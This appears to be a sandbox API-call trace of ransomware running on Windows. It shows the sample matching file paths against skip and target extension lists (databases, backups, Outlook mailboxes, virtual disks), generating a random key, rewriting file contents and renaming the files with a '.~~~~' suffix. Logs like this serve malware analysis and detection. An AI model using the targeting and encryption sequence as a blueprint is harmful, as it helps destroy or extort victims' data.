	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".bac") returned 0x0
	[0085.248] lstrlenW (lpString=".mdf") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".mdf") returned 0x0
	[0085.248] lstrlenW (lpString=".BAK") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".BAK") returned 0x0
	[0085.249] lstrlenW (lpString=".BAC") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".BAC") returned 0x0
	[0085.249] lstrlenW (lpString=".dbs") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dbs") returned 0x0
	[0085.249] lstrlenW (lpString=".vhdx") returned 5
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".vhdx") returned 0x0
	[0085.249] lstrlenW (lpString=".NDF") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".NDF") returned 0x0
	[0085.249] lstrlenW (lpString=".dat") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dat") returned 0x0
	[0085.249] lstrlenW (lpString=".DBS") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DBS") returned 0x0
	[0085.249] lstrlenW (lpString=".CKP") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".CKP") returned 0x0
	[0085.249] lstrlenW (lpString=".edb") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".edb") returned 0x0
	[0085.249] lstrlenW (lpString=".PST") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".PST") returned 0x0
	[0085.249] lstrlenW (lpString=".dbf") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dbf") returned 0x0
	[0085.249] lstrlenW (lpString=".SQL") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".SQL") returned 0x0
	[0085.249] lstrlenW (lpString=".pst") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".pst") returned 0x0
	[0085.249] lstrlenW (lpString=".dbv") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dbv") returned 0x0
	[0085.249] lstrlenW (lpString=".SDF") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".SDF") returned 0x0
	[0085.249] lstrlenW (lpString=".dtxs") returned 5
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dtxs") returned 0x0
	[0085.249] lstrlenW (lpString=".db3") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".db3") returned 0x0
	[0085.249] lstrlenW (lpString=".OST") returned 4
	[0085.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".OST") returned 0x0
	[0085.250] lstrlenW (lpString=".dbx") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dbx") returned 0x0
	[0085.250] lstrlenW (lpString=".DB3") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DB3") returned 0x0
	[0085.250] lstrlenW (lpString=".DAT") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DAT") returned 0x0
	[0085.250] lstrlenW (lpString=".VHDX") returned 5
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".VHDX") returned 0x0
	[0085.250] lstrlenW (lpString=".ndf") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".ndf") returned 0x0
	[0085.250] lstrlenW (lpString=".DB") returned 3
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DB") returned 0x0
	[0085.250] lstrlenW (lpString=".sql") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".sql") returned 0x0
	[0085.250] lstrlenW (lpString=".MYD") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".MYD") returned 0x0
	[0085.250] lstrlenW (lpString=".DBT") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DBT") returned 0x0
	[0085.250] lstrlenW (lpString=".ACCDB") returned 6
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.250] lstrlenW (lpString=".fdb") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".fdb") returned 0x0
	[0085.250] lstrlenW (lpString=".bak") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".bak") returned 0x0
	[0085.250] lstrlenW (lpString=".myd") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".myd") returned 0x0
	[0085.250] lstrlenW (lpString=".DTXS") returned 5
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DTXS") returned 0x0
	[0085.250] lstrlenW (lpString=".ckp") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".ckp") returned 0x0
	[0085.250] lstrlenW (lpString=".dbt") returned 4
	[0085.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dbt") returned 0x0
	[0085.250] lstrlenW (lpString=".db") returned 3
	[0085.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".db") returned 0x0
	[0085.251] lstrlenW (lpString=".TXT") returned 4
	[0085.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".TXT") returned 0x0
	[0085.251] lstrlenW (lpString=".MDF") returned 4
	[0085.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".MDF") returned 0x0
	[0085.251] lstrlenW (lpString=".bdb") returned 4
	[0085.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".bdb") returned 0x0
	[0085.251] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.251] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.252] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.252] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0085.252] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20524194467) returned 1
	[0085.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ca151d0, dwHighDateTime=0x1d60e1e)) 
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cf20
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf20 | out: hHeap=0x300000) returned 1
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f34a0
	[0085.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0085.252] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.252] GetLastError () returned 0x0
	[0085.253] GetLastError () returned 0x0
	[0085.253] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.253] GetLastError () returned 0x0
	[0085.253] GetLastError () returned 0x0
	[0085.309] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff4df2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.309] WriteFile (in: hFile=0x124, lpBuffer=0x2871ff0*, nNumberOfBytesToWrite=0xb20e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2871ff0*, lpNumberOfBytesWritten=0x25dfec0*=0xb20e, lpOverlapped=0x0) returned 1
	[0085.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2871ff0 | out: hHeap=0x300000) returned 1
	[0085.311] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.311] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.312] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.312] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.312] CloseHandle (hObject=0x124) returned 1
	[0085.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.~~~~")) returned 1
	[0085.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.410] GetLastError () returned 0x0
	[0085.410] RtlWakeConditionVariable () returned 0x365f70
	[0085.410] GetCurrentThreadId () returned 0x9f4
	[0085.410] GetCurrentThreadId () returned 0x9f4
	[0085.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0085.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0085.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d0e0 | out: hHeap=0x300000) returned 1
	[0085.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0085.410] lstrlenW (lpString=".scr") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".scr") returned 0x0
	[0085.411] lstrlenW (lpString=".cmd") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".cmd") returned 0x0
	[0085.411] lstrlenW (lpString=".dll") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dll") returned 0x0
	[0085.411] lstrlenW (lpString=".bat") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".bat") returned 0x0
	[0085.411] lstrlenW (lpString=".cpl") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".cpl") returned 0x0
	[0085.411] lstrlenW (lpString=".sys") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".sys") returned 0x0
	[0085.411] lstrlenW (lpString=".msc") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".msc") returned 0x0
	[0085.411] lstrlenW (lpString=".com") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".com") returned 0x0
	[0085.411] lstrlenW (lpString=".lnk") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".lnk") returned 0x0
	[0085.411] lstrlenW (lpString=".msp") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".msp") returned 0x0
	[0085.411] lstrlenW (lpString=".pif") returned 4
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".pif") returned 0x0
	[0085.411] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.704] lstrlenW (lpString=".sqb") returned 4
	[0085.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".sqb") returned 0x0
	[0085.704] lstrlenW (lpString=".ost") returned 4
	[0085.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".ost") returned 0x0
	[0085.708] lstrlenW (lpString=".txt") returned 4
	[0085.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".txt") returned 0x0
	[0085.708] lstrlenW (lpString=".mdt") returned 4
	[0085.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".mdt") returned 0x0
	[0085.715] lstrlenW (lpString=".BDB") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".BDB") returned 0x0
	[0085.715] lstrlenW (lpString=".eql") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".eql") returned 0x0
	[0085.715] lstrlenW (lpString=".DBF") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DBF") returned 0x0
	[0085.715] lstrlenW (lpString=".EQL") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".EQL") returned 0x0
	[0085.715] lstrlenW (lpString=".FDB") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".FDB") returned 0x0
	[0085.715] lstrlenW (lpString=".EDB") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".EDB") returned 0x0
	[0085.715] lstrlenW (lpString=".DACPAC") returned 7
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.715] lstrlenW (lpString=".VHD") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".VHD") returned 0x0
	[0085.715] lstrlenW (lpString=".DBV") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DBV") returned 0x0
	[0085.715] lstrlenW (lpString=".dacpac") returned 7
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dacpac") returned 0x0
	[0085.715] lstrlenW (lpString=".sdf") returned 4
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".sdf") returned 0x0
	[0085.715] lstrlenW (lpString=".accdb") returned 6
	[0085.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".accdb") returned 0x0
	[0085.716] lstrlenW (lpString=".DBX") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DBX") returned 0x0
	[0085.716] lstrlenW (lpString=".MDT") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".MDT") returned 0x0
	[0085.716] lstrlenW (lpString=".SQB") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".SQB") returned 0x0
	[0085.716] lstrlenW (lpString=".vhd") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".vhd") returned 0x0
	[0085.716] lstrlenW (lpString=".bac") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".bac") returned 0x0
	[0085.716] lstrlenW (lpString=".mdf") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".mdf") returned 0x0
	[0085.716] lstrlenW (lpString=".BAK") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".BAK") returned 0x0
	[0085.716] lstrlenW (lpString=".BAC") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".BAC") returned 0x0
	[0085.716] lstrlenW (lpString=".dbs") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dbs") returned 0x0
	[0085.716] lstrlenW (lpString=".vhdx") returned 5
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".vhdx") returned 0x0
	[0085.716] lstrlenW (lpString=".NDF") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".NDF") returned 0x0
	[0085.716] lstrlenW (lpString=".dat") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dat") returned 0x0
	[0085.716] lstrlenW (lpString=".DBS") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DBS") returned 0x0
	[0085.716] lstrlenW (lpString=".CKP") returned 4
	[0085.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".CKP") returned 0x0
	[0085.717] lstrlenW (lpString=".edb") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".edb") returned 0x0
	[0085.717] lstrlenW (lpString=".PST") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".PST") returned 0x0
	[0085.717] lstrlenW (lpString=".dbf") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dbf") returned 0x0
	[0085.717] lstrlenW (lpString=".SQL") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".SQL") returned 0x0
	[0085.717] lstrlenW (lpString=".pst") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".pst") returned 0x0
	[0085.717] lstrlenW (lpString=".dbv") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dbv") returned 0x0
	[0085.717] lstrlenW (lpString=".SDF") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".SDF") returned 0x0
	[0085.717] lstrlenW (lpString=".dtxs") returned 5
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dtxs") returned 0x0
	[0085.717] lstrlenW (lpString=".db3") returned 4
